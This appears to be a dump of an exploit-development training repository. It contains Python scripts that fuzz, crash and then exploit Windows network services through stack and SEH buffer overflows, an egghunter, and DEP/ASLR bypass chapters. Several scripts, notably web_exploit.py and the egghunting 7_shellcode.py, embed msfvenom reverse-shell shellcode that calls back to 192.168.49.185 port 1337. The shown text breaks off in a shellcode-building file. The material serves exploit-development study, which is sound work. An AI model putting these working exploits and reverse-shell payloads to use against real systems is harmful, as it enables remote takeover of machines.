├── .gitignore ├── 1_stack_overflow ├── web_bad_chars.py ├── web_exploit.py ├── web_fuzz.py └── web_pre_exploit.py ├── 2_seh_overflow ├── 1_crash.py ├── 2.5_register_to_offset.py ├── 2_pattern_search.py ├── 3_check.py ├── 4_bad_char_search.py ├── 5_jump_pop_pop_return.py ├── 6_short_jump.py ├── 7_long_jump.py ├── 8_shellcode.py └── find_pop_pop_return.wds ├── 3_egghunting ├── 1_crash.py ├── 2_bad_chars.py ├── 3_find_eip.py ├── 4_eip_control.py ├── 5_additional_buffer.py ├── 6_egghunter.py └── 7_shellcode.py ├── 4_shellcode ├── 10_wsa_socket.py ├── 11_wsa_connect.py ├── 12_create_process.py ├── 13_reverse_shell.py ├── 1_find_kernel32.py ├── 2_find_function.py ├── 3_compute_hash.py ├── 4_hash_functions.py ├── 5_terminate_function.py ├── 6_eliminate_nulls.py ├── 7_position_independent.py ├── 8_load_ws2_32.py └── 9_wsa_startup.py ├── 5_reverse_engineering ├── 1_send_data.py ├── 2_update_header.py ├── 3_refined_header.py ├── 4_agent_command.py ├── 5_denial_of_service.py ├── 6_memcpy_exploit.py ├── 7_gain_eip.py ├── 8_more_bugs.py └── 9_explore_0x534.py ├── 6_dep_bypass ├── 1_hello_world.py ├── 2_memory_pages.py ├── 3_executable_memory_pages.py ├── 4_find_ret.py ├── 5_find_gadgets.py └── 6_ignore_bad.py ├── 6_dep_bypass_2 ├── 1_overflow.py ├── 2_eip_check.py ├── 3_prepare.py ├── 4_find_esp.py ├── 5_insert_virtualalloc_address.py ├── 6_patch_return_address.py ├── 7_patch_return_address.py ├── 8_call_virtualalloc.py └── 9_reverse_shell.py ├── 7_aslr_bypass ├── 1_update_execution_path.py ├── 2_symbol_operation_path.py ├── 3_ibm_dll.py ├── 4_crash_bad_characters_away.py ├── 5_write_process_memory.py ├── 6_start_to_get_shell.py ├── 7_rop_decoder.py ├── 8_shell_encoder.py └── 9_shell_decoder.py ├── 8_format_strings ├── 1_path_to_eventlog.py ├── 2_read_the_eventlog.py ├── 3_max_length_returned_eventlog.py ├── 4_find_end_of_eventlog.py ├── 5_leak_address.py ├── 6_no_close_connection.py └── 7_bypass_aslr.py ├── 9_format_strings_2 ├── 10_call_virtual_alloc.py ├── 1_write_test.py ├── 2_write_test_2.py ├── 3_overcoming_limitations.py ├── 4_write_to_stack.py ├── 5_write_dword.py ├── 6_find_target.py ├── 7_control_eip.py ├── 8_finding_buffers.py └── 9_stack_pivot.py ├── LICENSE ├── README.md └── windbg_stuff ├── aslr_bypass.txt ├── dep_bypass.txt ├── exploit_dev.txt ├── rop_notes.txt └── seh.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /1_stack_overflow/web_bad_chars.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | 7 | bad_char_values = [0x00, 0x0a, 0x0d, 0x25, 0x26, 0x2b, 0x3d] 8 | 9 | if len(sys.argv) < 4: 10 | print("Usage: {} ".format(sys.argv[0])) 11 | print("Finds bad characters from the web-based application in Chapter 3.") 12 | exit(1) 13 | 14 | all_chars = b"" 15 | for i in range(0, 256): 16 | do_add = True 17 | for j in bad_char_values: 18 | if i == j: 19 | do_add = False 20 | if do_add: 21 | all_chars += i.to_bytes(1, "big") 22 | 23 | try: 24 | server = sys.argv[1].encode() 25 | port = int(sys.argv[2]) 26 | eip_offset = int(sys.argv[3]) 27 | 28 | filler = b"A" * eip_offset 29 | eip = b"B" * 4 30 | 31 | inputBuffer = filler + eip + all_chars 32 | 33 | content = b"username=" + inputBuffer + b"&password=A" 34 | 35 | buffer = b"POST /login HTTP/1.1\r\n" 36 | buffer += b"Host: " + server + b"\r\n" 37 | buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" 38 | buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 39 | buffer += b"Accept-Language: en-US,en;q=0.5\r\n" 40 | buffer += b"Referer: http://" + server + b"/login\r\n" 41 | buffer += b"Connection: close\r\n" 42 | buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" 43 | buffer += b"Content-Length: " + str(len(content)).encode() + b"\r\n" 44 | buffer += b"\r\n" 45 | buffer += content 46 | 47 | print("Sending buffer...") 48 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 49 | s.connect((server, port)) 50 | s.send(buffer) 51 | s.close() 52 | 53 | print("Done!") 54 | 55 | except socket.error: 56 | print("Could not connect!") 57 | -------------------------------------------------------------------------------- /1_stack_overflow/web_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | 7 | if len(sys.argv) < 3: 8 | print("Usage: {} ".format(sys.argv[0])) 9 | print("Exploits the web-based application from Chapter 3.") 10 | exit(1) 11 | 12 | try: 13 | server = sys.argv[1].encode() 14 | port = int(sys.argv[2]) 15 | eip_offset = 780 16 | 17 | filler = b"A" * eip_offset 18 | eip = 0x10090c83.to_bytes(4, 'little', signed=False) # JMP ESP 19 | nopsled = b"\x90" * 64 20 | 21 | # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.185 LPORT=1337 EXITFUNC=thread -f python -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -o shellcode.txt 22 | buf = b"" 23 | buf += b"\xd9\xec\xd9\x74\x24\xf4\x5a\xb8\xdc\xe3\x42\xbb\x33" 24 | buf += b"\xc9\xb1\x52\x31\x42\x17\x83\xea\xfc\x03\x9e\xf0\xa0" 25 | buf += b"\x4e\xe2\x1f\xa6\xb1\x1a\xe0\xc7\x38\xff\xd1\xc7\x5f" 26 | buf += b"\x74\x41\xf8\x14\xd8\x6e\x73\x78\xc8\xe5\xf1\x55\xff" 27 | buf += b"\x4e\xbf\x83\xce\x4f\xec\xf0\x51\xcc\xef\x24\xb1\xed" 28 | buf += b"\x3f\x39\xb0\x2a\x5d\xb0\xe0\xe3\x29\x67\x14\x87\x64" 29 | buf += b"\xb4\x9f\xdb\x69\xbc\x7c\xab\x88\xed\xd3\xa7\xd2\x2d" 30 | buf += b"\xd2\x64\x6f\x64\xcc\x69\x4a\x3e\x67\x59\x20\xc1\xa1" 31 | buf += b"\x93\xc9\x6e\x8c\x1b\x38\x6e\xc9\x9c\xa3\x05\x23\xdf" 32 | buf += b"\x5e\x1e\xf0\x9d\x84\xab\xe2\x06\x4e\x0b\xce\xb7\x83" 33 | buf += b"\xca\x85\xb4\x68\x98\xc1\xd8\x6f\x4d\x7a\xe4\xe4\x70" 34 | buf += b"\xac\x6c\xbe\x56\x68\x34\x64\xf6\x29\x90\xcb\x07\x29" 35 | buf += b"\x7b\xb3\xad\x22\x96\xa0\xdf\x69\xff\x05\xd2\x91\xff" 36 | buf += b"\x01\x65\xe2\xcd\x8e\xdd\x6c\x7e\x46\xf8\x6b\x81\x7d" 37 | buf += b"\xbc\xe3\x7c\x7e\xbd\x2a\xbb\x2a\xed\x44\x6a\x53\x66" 38 | buf += b"\x94\x93\x86\x29\xc4\x3b\x79\x8a\xb4\xfb\x29\x62\xde" 39 | buf += b"\xf3\x16\x92\xe1\xd9\x3e\x39\x18\x8a\x80\x16\x13\xf3" 40 | buf += b"\x69\x65\x53\x06\x53\xe0\xb5\x62\xb3\xa4\x6e\x1b\x2a" 41 | buf += b"\xed\xe4\xba\xb3\x3b\x81\xfd\x38\xc8\x76\xb3\xc8\xa5" 42 | buf += b"\x64\x24\x39\xf0\xd6\xe3\x46\x2e\x7e\x6f\xd4\xb5\x7e" 43 | buf += b"\xe6\xc5\x61\x29\xaf\x38\x78\xbf\x5d\x62\xd2\xdd\x9f" 44 | buf += b"\xf2\x1d\x65\x44\xc7\xa0\x64\x09\x73\x87\x76\xd7\x7c" 45 | buf += b"\x83\x22\x87\x2a\x5d\x9c\x61\x85\x2f\x76\x38\x7a\xe6" 46 | buf += b"\x1e\xbd\xb0\x39\x58\xc2\x9c\xcf\x84\x73\x49\x96\xbb" 47 | buf += b"\xbc\x1d\x1e\xc4\xa0\xbd\xe1\x1f\x61\xdd\x03\xb5\x9c" 48 | buf += b"\x76\x9a\x5c\x1d\x1b\x1d\x8b\x62\x22\x9e\x39\x1b\xd1" 49 | buf += b"\xbe\x48\x1e\x9d\x78\xa1\x52\x8e\xec\xc5\xc1\xaf\x24" 50 | 51 | inputBuffer = filler + eip + (b"A" * 4) + nopsled + buf 52 | 53 | content = b"username=" + inputBuffer + b"&password=A" 54 | 55 | buffer = b"POST /login HTTP/1.1\r\n" 56 | buffer += b"Host: " + server + b"\r\n" 57 | buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" 58 | buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 59 | buffer += b"Accept-Language: en-US,en;q=0.5\r\n" 60 | buffer += b"Referer: http://" + server + b"/login\r\n" 61 | buffer += b"Connection: close\r\n" 62 | buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" 63 | buffer += b"Content-Length: " + str(len(content)).encode() + b"\r\n" 64 | buffer += b"\r\n" 65 | buffer += content 66 | 67 | print("Sending buffer...") 68 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 69 | s.connect((server, port)) 70 | s.send(buffer) 71 | s.close() 72 | 73 | print("Done!") 74 | 75 | except socket.error: 76 | print("Could not connect!") 77 | -------------------------------------------------------------------------------- /1_stack_overflow/web_fuzz.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | 7 | if len(sys.argv) < 4: 8 | print("Usage: {} ".format(sys.argv[0])) 9 | print("Fuzzes the web-based application from Chapter 3.") 10 | exit(1) 11 | 12 | try: 13 | server = sys.argv[1].encode() 14 | port = int(sys.argv[2]) 15 | size = int(sys.argv[3]) 16 | 17 | inputBuffer = bytes(subprocess.check_output(["/usr/bin/msf-pattern_create", "-l", str(size)]).strip()) 18 | content = b"username=" + inputBuffer + b"&password=A" 19 | 20 | buffer = b"POST /login HTTP/1.1\r\n" 21 | buffer += b"Host: " + server + b"\r\n" 22 | buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" 23 | buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 24 | buffer += b"Accept-Language: en-US,en;q=0.5\r\n" 25 | buffer += b"Referer: http://" + server + b"/login\r\n" 26 | buffer += b"Connection: close\r\n" 27 | buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" 28 | buffer += b"Content-Length: " + str(len(content)).encode() + b"\r\n" 29 | buffer += b"\r\n" 30 | buffer += content 31 | 32 | print("Sending buffer...") 33 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 34 | s.connect((server, port)) 35 | s.send(buffer) 36 | s.close() 37 | 38 | print("Done!") 39 | print("Run msf-pattern_offset -l {} -q ".format(str(size))) 40 | 41 | except socket.error: 42 | print("Could not connect!") 43 | -------------------------------------------------------------------------------- /1_stack_overflow/web_pre_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | 7 | if len(sys.argv) < 5: 8 | print("Usage: {} ".format(sys.argv[0])) 9 | print("Exploits the web-based application from Chapter 3.") 10 | exit(1) 11 | 12 | try: 13 | server = sys.argv[1].encode() 14 | port = int(sys.argv[2]) 15 | eip_offset = int(sys.argv[3]) 16 | post_size = int(sys.argv[4]) 17 | 18 | filler = b"A" * eip_offset 19 | # eip = b"B" * 4 20 | eip = 0x10090c83.to_bytes(4, 'little', signed=False) # JMP ESP 21 | # post = bytes(subprocess.check_output(["/usr/bin/msf-pattern_create", "-l", str(post_size)]).strip()) 22 | post = b"\xCD\x03" * post_size # int 0x03 23 | 24 | inputBuffer = filler + eip + b"C" * 4 + b"D" * 0 + post 25 | 26 | content = b"username=" + inputBuffer + b"&password=A" 27 | 28 | buffer = b"POST /login HTTP/1.1\r\n" 29 | buffer += b"Host: " + server + b"\r\n" 30 | buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" 31 | buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 32 | buffer += b"Accept-Language: en-US,en;q=0.5\r\n" 33 | buffer += b"Referer: http://" + server + b"/login\r\n" 34 | buffer += b"Connection: close\r\n" 35 | buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" 36 | buffer += b"Content-Length: " + str(len(content)).encode() + b"\r\n" 37 | buffer += b"\r\n" 38 | buffer += content 39 | 40 | print("Sending buffer...") 41 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 42 | s.connect((server, port)) 43 | s.send(buffer) 44 | s.close() 45 | 46 | print("Done!") 47 | print("Doule check that EIP is 42424242.") 48 | print("Run msf-pattern_offset -l {} -q ".format(str(post_size))) 49 | 50 | except socket.error: 51 | print("Could not connect!") 52 | -------------------------------------------------------------------------------- /2_seh_overflow/1_crash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from struct import pack 6 | 7 | try: 8 | if len(sys.argv) < 2: 9 | server = "192.168.185.10" 10 | else: 11 | server = sys.argv[1] 12 | 13 | if len(sys.argv) < 3: 14 | port = 9121 15 | else: 16 | port = int(sys.argv[2]) 17 | 18 | if len(sys.argv) < 4: 19 | size = 1000 20 | else: 21 | size = int(sys.argv[3]) 22 | 23 | print("Usage: {} [TARGET] [PORT] [SIZE]".format(sys.argv[0])) 24 | print("TARGET: {}".format(server)) 25 | print("PORT: {}".format(str(port))) 26 | print("SIZE: {}".format(str(size))) 27 | 28 | inputBuffer = b"\x41" * size 29 | 30 | header = b"\x75\x19\xba\xab" 31 | header += b"\x03\x00\x00\x00" 32 | header += b"\x00\x40\x00\x00" 33 | header += pack('".format(sys.argv[0])) 10 | print("Example: {} 33654132".format(sys.argv[0])) 11 | exit() 12 | register = int(sys.argv[1], 16) 13 | ascii_data = struct.pack(" to . 2 | $$ Example: $$>a 0x0041eb74 26 | inputBuffer += b"\x74\xeb\x41" 27 | # inputBuffer += b"\x43" * (size - len(inputBuffer)) 28 | httpEndRequest = b"\r\n\r\n" 29 | 30 | buf = httpMethod + inputBuffer + httpEndRequest 31 | 32 | print("Sending buffer...") 33 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 34 | s.connect((server, port)) 35 | s.send(buf) 36 | s.close() 37 | 38 | print("Done!") 39 | 40 | except socket.error: 41 | print("Could not connect!") -------------------------------------------------------------------------------- /3_egghunting/5_additional_buffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import subprocess 6 | from struct import pack 7 | 8 | try: 9 | if len(sys.argv) < 2: 10 | server = "192.168.185.10" 11 | else: 12 | server = sys.argv[1] 13 | port = 80 14 | size = 260 15 | bad_char_values = b"\x00\x25\x0a\x0d" 16 | eip_offset = 253 17 | 18 | # Jump to the first stage. 19 | httpMethod = b"\x83\xC4\x46" # add esp,byte +0x45 20 | httpMethod += b"\x83\xC4\x23" # add esp,byte +0x23 21 | httpMethod += b"\x54" # push esp" 22 | httpMethod += b"\xC3" # ret 23 | httpMethod += b" /" 24 | 25 | # Jump to payload. 26 | # Future Kaitlyn: Oops, I got too far ahead. They want me to use an egg hunter instead. 27 | # This is just an alternate solution. 28 | inputBuffer = b"\x89\xE0" # mov eax,esp 29 | inputBuffer += b"\x66\x05\xA3\x14" # add ax,0x14a3 30 | inputBuffer += b"\x8B\x18" # mov ebx,[eax] 31 | inputBuffer += b"\x66\x81\xC3\x0E\x01" # add bx,0x10e 32 | inputBuffer += b"\x89\xDC" # mov esp,ebx 33 | inputBuffer += b"\xFF\xE3" # jmp ebx 34 | inputBuffer += b"\x41" * (eip_offset - len(inputBuffer)) 35 | 36 | # EIP control To pop return -> 0x0041eb74 37 | inputBuffer += b"\x74\xeb\x41" 38 | 39 | httpEndRequest = b"\r\n\r\n" 40 | 41 | # Payload 42 | httpEndRequest += b"\x90" * 32 # NOP sled 43 | 44 | buf = httpMethod + inputBuffer + httpEndRequest 45 | 46 | print("Sending buffer...") 47 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 48 | s.connect((server, port)) 49 | s.send(buf) 50 | s.close() 51 | 52 | print("Done!") 53 | 54 | except socket.error: 55 | print("Could not connect!") -------------------------------------------------------------------------------- /3_egghunting/6_egghunter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import keystone 6 | import subprocess 7 | from struct import pack 8 | 9 | try: 10 | if len(sys.argv) < 2: 11 | server = "192.168.185.10" 12 | else: 13 | server = sys.argv[1] 14 | port = 80 15 | size = 260 16 | bad_char_values = b"\x00\x25\x0a\x0d" 17 | eip_offset = 253 18 | 19 | # Egghunter code. 20 | CODE = ( 21 | # We use the edx register as a memory page counter 22 | " " 23 | " loop_inc_page: " 24 | # Go to the last address in the memory page 25 | " or dx, 0x0fff ;" 26 | " loop_inc_one: " 27 | # Increase the memory counter by one 28 | " inc edx ;" 29 | " loop_check: " 30 | # Save the edx register which holds our memory 31 | # address on the stack 32 | " push edx ;" 33 | # Push the negative value of the system 34 | # call number 35 | " mov eax, 0xfffffe3a ;" 36 | # Initialize the call to NtAccessCheckAndAuditAlarm 37 | " neg eax ;" 38 | # Perform the system call 39 | " int 0x2e ;" 40 | # Check for access violation, 0xc0000005 41 | # (ACCESS_VIOLATION) 42 | " cmp al,05 ;" 43 | # Restore the edx register to check 44 | # later for our egg 45 | " pop edx ;" 46 | " loop_check_valid: " 47 | # If access violation encountered, go to n 48 | # ext page 49 | " je loop_inc_page ;" 50 | " is_egg: " 51 | # Load egg (w00t in this example) into 52 | # the eax register 53 | " mov eax, 0x74303077 ;" 54 | # Initializes pointer with current checked 55 | # address 56 | " mov edi, edx ;" 57 | # Compare eax with doubleword at edi and 58 | # set status flags 59 | " scasd ;" 60 | # No match, we will increase our memory 61 | # counter by one 62 | " jnz loop_inc_one ;" 63 | # First part of the egg detected, check for 64 | # the second part 65 | " scasd ;" 66 | # No match, we found just a location 67 | # with half an egg 68 | " jnz loop_inc_one ;" 69 | " matched: " 70 | # The edi register points to the first 71 | # byte of our buffer, we can jump to it 72 | " jmp edi ;" 73 | ) 74 | 75 | ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32) 76 | encoding, count = ks.asm(CODE) 77 | egghunter = b"" 78 | for code in encoding: 79 | egghunter += code.to_bytes(1, "little") 80 | 81 | # Jump to the first stage. 82 | httpMethod = b"\x83\xC4\x46" # add esp,byte +0x45 83 | httpMethod += b"\x83\xC4\x23" # add esp,byte +0x23 84 | httpMethod += b"\x54" # push esp" 85 | httpMethod += b"\xC3" # ret 86 | httpMethod += b" /" 87 | 88 | # Execute egghunter 89 | inputBuffer = b"\x90" * 4 90 | inputBuffer += egghunter 91 | inputBuffer += b"\x41" * (eip_offset - len(inputBuffer)) 92 | 93 | # EIP control To pop return -> 0x0041eb74 94 | inputBuffer += b"\x74\xeb\x41" 95 | 96 | httpEndRequest = b"\r\n\r\n" 97 | 98 | # Payload 99 | httpEndRequest += b"w00tw00t" 100 | httpEndRequest += b"\x90" * 32 # NOP sled 101 | payload = httpMethod + inputBuffer + httpEndRequest 102 | 103 | print("Sending buffer...") 104 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 105 | s.connect((server, port)) 106 | s.send(payload) 107 | s.close() 108 | 109 | print("Done!") 110 | 111 | except socket.error: 112 | print("Could not connect!") 113 | -------------------------------------------------------------------------------- /3_egghunting/7_shellcode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | import keystone 6 | import subprocess 7 | from struct import pack 8 | 9 | try: 10 | if len(sys.argv) < 2: 11 | server = "192.168.185.10" 12 | else: 13 | server = sys.argv[1] 14 | port = 80 15 | size = 260 16 | bad_char_values = b"\x00\x25\x0a\x0d" 17 | eip_offset = 253 18 | 19 | # Egghunter code. 20 | CODE = ( 21 | # We use the edx register as a memory page counter 22 | " " 23 | " loop_inc_page: " 24 | # Go to the last address in the memory page 25 | " or dx, 0x0fff ;" 26 | " loop_inc_one: " 27 | # Increase the memory counter by one 28 | " inc edx ;" 29 | " loop_check: " 30 | # Save the edx register which holds our memory 31 | # address on the stack 32 | " push edx ;" 33 | # Push the negative value of the system 34 | # call number 35 | " mov eax, 0xfffffe3a ;" 36 | # Initialize the call to NtAccessCheckAndAuditAlarm 37 | " neg eax ;" 38 | # Perform the system call 39 | " int 0x2e ;" 40 | # Check for access violation, 0xc0000005 41 | # (ACCESS_VIOLATION) 42 | " cmp al,05 ;" 43 | # Restore the edx register to check 44 | # later for our egg 45 | " pop edx ;" 46 | " loop_check_valid: " 47 | # If access violation encountered, go to n 48 | # ext page 49 | " je loop_inc_page ;" 50 | " is_egg: " 51 | # Load egg (w00t in this example) into 52 | # the eax register 53 | " mov eax, 0x74303077 ;" 54 | # Initializes pointer with current checked 55 | # address 56 | " mov edi, edx ;" 57 | # Compare eax with doubleword at edi and 58 | # set status flags 59 | " scasd ;" 60 | # No match, we will increase our memory 61 | # counter by one 62 | " jnz loop_inc_one ;" 63 | # First part of the egg detected, check for 64 | # the second part 65 | " scasd ;" 66 | # No match, we found just a location 67 | # with half an egg 68 | " jnz loop_inc_one ;" 69 | " matched: " 70 | # The edi register points to the first 71 | # byte of our buffer, we can jump to it 72 | " jmp edi ;" 73 | ) 74 | 75 | ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32) 76 | encoding, count = ks.asm(CODE) 77 | egghunter = b"" 78 | for code in encoding: 79 | egghunter += code.to_bytes(1, "little") 80 | 81 | # Jump to the first stage. 82 | # httpMethod = b"\X89\XE1" # mov ecx,esp 83 | httpMethod = b"\x31\xC0" # xor eax,eax 84 | httpMethod += b"\x89\x23" # mov [ebx],esp 85 | httpMethod += b"\x03\x03" # add eax,[ebx] 86 | httpMethod += b"\x83\xC0\x46" # add eax,byte +0x46 87 | httpMethod += b"\x83\xC0\x23" # add eax,byte +0x23 88 | httpMethod += b"\x50" # push eax" 89 | httpMethod += b"\xC3" # ret 90 | httpMethod += b" /" 91 | 92 | # Execute egghunter 93 | inputBuffer = b"\x90" * 4 94 | inputBuffer += egghunter 95 | inputBuffer += b"\x41" * (eip_offset - len(inputBuffer)) 96 | 97 | # EIP control To pop return -> 0x0041eb74 98 | inputBuffer += b"\x74\xeb\x41" 99 | 100 | httpEndRequest = b"\r\n\r\n" 101 | 102 | # Payload 103 | httpEndRequest += b"w00tw00t" 104 | httpEndRequest += b"\x90" * 32 # NOP sled 105 | 106 | # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.185 LPORT=1337 -f python -b "\x00\x25\x0a\x0d" -o shellcode.txt 107 | buf = b"" 108 | buf += b"\xd9\xc2\xba\x4d\xc7\xd3\xa0\xd9\x74\x24\xf4\x5e\x29" 109 | buf += b"\xc9\xb1\x52\x31\x56\x17\x83\xee\xfc\x03\x1b\xd4\x31" 110 | buf += b"\x55\x5f\x32\x37\x96\x9f\xc3\x58\x1e\x7a\xf2\x58\x44" 111 | buf += b"\x0f\xa5\x68\x0e\x5d\x4a\x02\x42\x75\xd9\x66\x4b\x7a" 112 | buf += b"\x6a\xcc\xad\xb5\x6b\x7d\x8d\xd4\xef\x7c\xc2\x36\xd1" 113 | buf += b"\x4e\x17\x37\x16\xb2\xda\x65\xcf\xb8\x49\x99\x64\xf4" 114 | buf += b"\x51\x12\x36\x18\xd2\xc7\x8f\x1b\xf3\x56\x9b\x45\xd3" 115 | buf += b"\x59\x48\xfe\x5a\x41\x8d\x3b\x14\xfa\x65\xb7\xa7\x2a" 116 | buf += b"\xb4\x38\x0b\x13\x78\xcb\x55\x54\xbf\x34\x20\xac\xc3" 117 | buf += b"\xc9\x33\x6b\xb9\x15\xb1\x6f\x19\xdd\x61\x4b\x9b\x32" 118 | buf += b"\xf7\x18\x97\xff\x73\x46\xb4\xfe\x50\xfd\xc0\x8b\x56" 119 | buf += b"\xd1\x40\xcf\x7c\xf5\x09\x8b\x1d\xac\xf7\x7a\x21\xae" 120 | buf += b"\x57\x22\x87\xa5\x7a\x37\xba\xe4\x12\xf4\xf7\x16\xe3" 121 | buf += b"\x92\x80\x65\xd1\x3d\x3b\xe1\x59\xb5\xe5\xf6\x9e\xec" 122 | buf += b"\x52\x68\x61\x0f\xa3\xa1\xa6\x5b\xf3\xd9\x0f\xe4\x98" 123 | buf += b"\x19\xaf\x31\x0e\x49\x1f\xea\xef\x39\xdf\x5a\x98\x53" 124 | buf += b"\xd0\x85\xb8\x5c\x3a\xae\x53\xa7\xad\x11\x0b\x96\x94" 125 | buf += b"\xfa\x4e\xd8\xe3\xc3\xc7\x3e\x81\x23\x8e\xe9\x3e\xdd" 126 | buf += b"\x8b\x61\xde\x22\x06\x0c\xe0\xa9\xa5\xf1\xaf\x59\xc3" 127 | buf += b"\xe1\x58\xaa\x9e\x5b\xce\xb5\x34\xf3\x8c\x24\xd3\x03" 128 | buf += b"\xda\x54\x4c\x54\x8b\xab\x85\x30\x21\x95\x3f\x26\xb8" 129 | buf += b"\x43\x07\xe2\x67\xb0\x86\xeb\xea\x8c\xac\xfb\x32\x0c" 130 | buf += b"\xe9\xaf\xea\x5b\xa7\x19\x4d\x32\x09\xf3\x07\xe9\xc3" 131 | buf += b"\x93\xde\xc1\xd3\xe5\xde\x0f\xa2\x09\x6e\xe6\xf3\x36" 132 | buf += b"\x5f\x6e\xf4\x4f\xbd\x0e\xfb\x9a\x05\x3e\xb6\x86\x2c" 133 | buf += b"\xd7\x1f\x53\x6d\xba\x9f\x8e\xb2\xc3\x23\x3a\x4b\x30" 134 | buf += b"\x3b\x4f\x4e\x7c\xfb\xbc\x22\xed\x6e\xc2\x91\x0e\xbb" 135 | 136 | httpEndRequest += buf 137 | httpEndRequest += b"\x90" * 128 138 | payload = httpMethod + inputBuffer + httpEndRequest 139 | 140 | print("Sending buffer...") 141 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 142 | s.connect((server, port)) 143 | s.send(payload) 144 | s.close() 145 | 146 | print("Done!") 147 | 148 | except socket.error: 149 | print("Could not connect!") 150 | -------------------------------------------------------------------------------- /4_shellcode/1_find_kernel32.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ctypes, struct 4 | from keystone import * 5 | 6 | CODE = ( 7 | " start: " # 8 | " int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!! 9 | " mov ebp, esp ;" # 10 | " sub esp, 60h ;" # 11 | 12 | " find_kernel32: " # 13 | " xor ecx, ecx ;" # ECX = 0 14 | " mov esi,fs:[ecx+30h] ;" # ESI = &(PEB) ([FS:0x30]) 